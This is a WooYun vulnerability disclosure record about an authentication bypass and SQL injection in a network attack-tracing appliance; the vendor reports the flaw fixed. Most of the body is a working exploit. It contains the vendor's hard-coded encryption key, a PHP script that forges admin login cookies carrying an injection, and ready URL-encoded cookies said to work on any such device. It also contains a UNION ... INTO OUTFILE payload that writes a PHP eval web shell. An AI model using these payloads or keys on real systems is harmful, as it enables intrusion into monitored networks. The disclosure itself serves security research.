当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171979

漏洞标题:某攻击溯源系统漏洞(影响客户核心网段与敏感监控信息)

相关厂商:北京中睿天下信息技术有限公司

漏洞作者: 艺术家

提交时间:2016-01-22 18:03

修复时间:2016-03-09 18:36

公开时间:2016-03-09 18:36

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-22: 细节已通知厂商并且等待厂商处理中
2016-01-26: 厂商已经确认,细节仅向厂商公开
2016-02-05: 细节向核心白帽子及相关领域专家公开
2016-02-15: 细节向普通白帽子公开
2016-02-25: 细节向实习白帽子公开
2016-03-09: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

设备部署在内网,与内网监控的主机设备是直接连通或者与主干路由是连通的。设备需要连接外网,云联动。
放手上太久了,真心要放出来了。

详细说明:

需要云联运故名思意就是要与云上面同步规则与下发一些规则,还有一些IP上面的大数据联动与其他分析。

漏洞证明:

写看com_function.php

/**
*
* 全局用户登录信息
*/
function global_user_info () {
global $db, $_COOKIE;

if (!isset($_COOKIE['user_key'])) return array();

# 解析用户登录KEY
$user_key = str_authcode($_COOKIE['user_key'], 'DECODE');
if (!$user_key) return array();
$key_arr = json_decode($user_key, true);

# 检测登录
$cu_name = $key_arr['cu_name'];
$cu_type = intval($key_arr['cu_type']);
$cu_key = $key_arr['cu_key'];
$login = $db->query_one("SELECT * FROM center_user_login WHERE cu_name='$cu_name' AND cu_key='$cu_key'");
if (!$login) return array();

# 返回登录信息
$ret = array(
'cu_name' => $cu_name,
'cu_type' => $cu_type,
'cu_key' => $cu_key
);
return $ret;
}
/**
* 全局用户退出
*/
function global_login_out () {
global $db, $USER_INFO;

if (!$USER_INFO) exit('ok');

# 清除数据库登录信息
$cu_name = $USER_INFO['cu_name'];
$cu_key = $USER_INFO['cu_key'];
$db->query("DELETE FROM center_user_login WHERE cu_name='$cu_name' AND cu_key='$cu_key'");

# 清除登录信息
setcookie('user_key', '');

# 返回
exit('ok');
}
/**
* 用户登陆和权限判断
*/
function global_user_permiss ($type=0) {
global $USER_INFO;

# 得到参数
$cu_name = $USER_INFO['cu_name'] ? $USER_INFO['cu_name'] : '';
$cu_type = $USER_INFO['cu_type'] ? intval($USER_INFO['cu_type']) : 0;

# 判断是否登陆
if (!$cu_name) {
header("Location: login.php");
exit;
}

# 用户登陆判断用户权限
if ($type && $cu_type < $type) {
header("Location: index.php");
exit;
}
return;
}
/**
* 登录密码加密
* @param 用户名 $uname
* @param 密码 $upwd
*/
function user_pwd_encry ($uname, $upwd) {

# 判断
if (!$uname || !$upwd) return false;

# 密码加密
$pwd = md5(md5($uname) . md5($upwd));
return $pwd;
}
/**
* 字符串解密加密.
* @param $string - 要加密或解密的字符串.
* @param $operation - = 'ENCODE' 表示加密; = 'DECODE' 表示解密.
* @param $key - 加密密钥, 若未给出则使用全局变量CT_KEY
* @param $expiry - ? 过期时间
* @return 返回加密或解密结果字符串
*/
function str_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4; // 随机密钥长度 取值 0-32;
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
// 当此值为 0 时,则不产生随机密钥
$key = md5($key ? $key : CT_KEY); // 如果未给出 $key, 使用全局变量CT_KEY.
$keya = md5(substr($key, 0, 16)); // $key 前半部分再一次 md5, $keya = 32字节长字符串
$keyb = md5(substr($key, 16, 16)); // $key 后半部分再一次 md5, $keya = 32字节长字符串
// $keyc 对于 'DECODE' 取 $string 的前4个字符; 对于 'ENCODE' 是取 microtime() 随机后4个字符, 说起来应该更随机.
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc); // 64 字节长字符串.
$key_length = strlen($cryptkey);
// 加密
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
// 下面为加密/解密过程. 具体加密算法还不太熟悉.
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}


重要

# 解析用户登录KEY
$user_key = str_authcode($_COOKIE['user_key'], 'DECODE');
if (!$user_key) return array();
$key_arr = json_decode($user_key, true);

# 检测登录
$cu_name = $key_arr['cu_name'];
$cu_type = intval($key_arr['cu_type']);
$cu_key = $key_arr['cu_key'];
$login = $db->query_one("SELECT * FROM center_user_login WHERE cu_name='$cu_name' AND cu_key='$cu_key'");
if (!$login) return array();

# 返回登录信息
$ret = array(
'cu_name' => $cu_name,
'cu_type' => $cu_type,
'cu_key' => $cu_key
);
return $ret;
}


跟踪下:str_authcode函数

function str_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4; // 随机密钥长度 取值 0-32;
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
// 当此值为 0 时,则不产生随机密钥
$key = md5($key ? $key : CT_KEY); // 如果未给出 $key, 使用全局变量CT_KEY.
$keya = md5(substr($key, 0, 16)); // $key 前半部分再一次 md5, $keya = 32字节长字符串
$keyb = md5(substr($key, 16, 16)); // $key 后半部分再一次 md5, $keya = 32字节长字符串
// $keyc 对于 'DECODE' 取 $string 的前4个字符; 对于 'ENCODE' 是取 microtime() 随机后4个字符, 说起来应该更随机.
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc); // 64 字节长字符串.
$key_length = strlen($cryptkey);
// 加密
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
// 下面为加密/解密过程. 具体加密算法还不太熟悉.
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}


使用的discuz的加密。那so..........
key值为默认值:
define('CT_KEY', '503d2a62fbe03250c61da3655a717748');
剩下的就好理解了。

$key_arr = json_decode($user_key, true);


$ret = array(
'cu_name' => $cu_name,
'cu_type' => $cu_type,
'cu_key' => $cu_key
);


json话一下。加一下密就OK了。
重要一句话:
$login = $db->query_one("SELECT * FROM center_user_login WHERE cu_name='$cu_name' AND cu_key='$cu_key'");
这里也就是说。注入点cu_name, cu_key其他都是可以的。
那这里就加密一下。
--

<?php
/**
* $string 明文或密文
* $operation 加密ENCODE或解密DECODE
* $key 密钥
* $expiry 密钥有效期
*/
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
// 当此值为 0 时,则不产生随机密钥
$ckey_length = 4;

// 密匙
// $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
$key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}

$array = array(
'cu_name'=>"hacker' OR 1 LIMIT 1#",
'cu_type'=>9,
'cu_key'=>"123",
);
$c = json_encode($array);
echo authcode($c, "ENCODE", "503d2a62fbe03250c61da3655a717748");
?>


得到加密结果:

xxx.jpg


这样因为COOKIES是直接代入。那只需要修改COOKIES就OK了。
设置cookie, user_key的值为

8586OUNS98IqbV6GGqHeoMjOjEAdaXc/2IpKP+/6O1ynqC8EbTvpqtCrAjuzVVN7qpBpEe7e8v5tmeHE3Q1/fsla6vaRpjeyIr7Dp9NSUsjt6FtEmJzJwr0


因为有+号所有要url编码一下。

%38%35%38%36%4F%55%4E%53%39%38%49%71%62%56%36%47%47%71%48%65%6F%4D%6A%4F%6A%45%41%64%61%58%63%2F%32%49%70%4B%50%2B%2F%36%4F%31%79%6E%71%43%38%45%62%54%76%70%71%74%43%72%41%6A%75%7A%56%56%4E%37%71%70%42%70%45%65%37%65%38%76%35%74%6D%65%48%45%33%51%31%2F%66%73%6C%61%36%76%61%52%70%6A%65%79%49%72%37%44%70%39%4E%53%55%73%6A%74%36%46%74%45%6D%4A%7A%4A%77%72%30


xxx.png


因为其KEY值一样。所以上面生成的COOKIES值可以在任意睿眼设备上面登陆。
应该其mysql权限为root .所以可以试着去写shell.
我给出EXP:

{"cu_name":"bigjj","cu_type":9,"cu_key":"jjfly' UNION SELECT 111,0x3c3f70687020406576616c28245f524551554553545b276269676a6a275d293b3f3e,333 into outfile '/tmp/showtime.php'#"}


网站目录为/var/www/html/
写入shell加密为:

%34%38%65%61%4c%47%55%56%63%50%66%36%4e%4f%43%63%59%67%64%64%6f%75%57%6c%4d%5a%45%79%67%6b%45%43%6b%66%32%2b%57%78%6a%59%4c%45%39%78%63%73%47%59%69%59%6f%4b%48%5a%61%61%77%71%74%4d%47%31%32%30%71%30%35%68%78%4f%50%30%6f%42%46%31%68%43%32%61%4c%70%42%71%44%43%7a%79%36%67%78%32%39%4b%70%64%72%6e%33%4f%39%61%34%79%77%31%2b%31%72%64%37%6c%45%50%66%53%44%32%74%78%76%2f%62%58%67%37%72%42%31%4c%46%33%56%72%72%44%59%43%76%70%55%30%50%53%74%4a%32%73%32%79%62%69%76%4a%46%50%69%79%74%78%52%79%69%55%38%38%54%6a%51%71%42%71%34%35%47%4c%46%76%53%4c%70%79%79%30%66%57%6e%45%71%57%68%4b%7a%6f%5a%64%46%6d%2f%71%62%4d%37%78%63%50%61%52%71%2f%75%41%6d%36%42%42%45%34%33%4a%66%34%57%53%7a%68%2b%4f%69%54%55%38%54%6c%6a%4f%75%4c%33%73%6a%6d%63%54%42%47%49%4e%69%55%75%68%73%44%57%66%6e%6b%4f%46%74%67%54%2f%37%50%48%70%6d%51%6d%6c%58%47%77


1xxx.jpg


修复方案:

版权声明:转载请注明来源 艺术家@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-26 11:59

厂商回复:

真诚的感谢作者对中睿天下的关注,对于这个漏洞我们做了及时的跟进和修复。与此同时,我们的奖励也已经发放,请注意查收。最后再次感谢对中睿天下做出重大贡献白帽子们,我们铭记在心。

最新状态:

2016-03-09:漏洞已修复,谢谢乌云白帽

2016-03-09:漏洞已修复,谢谢乌云白帽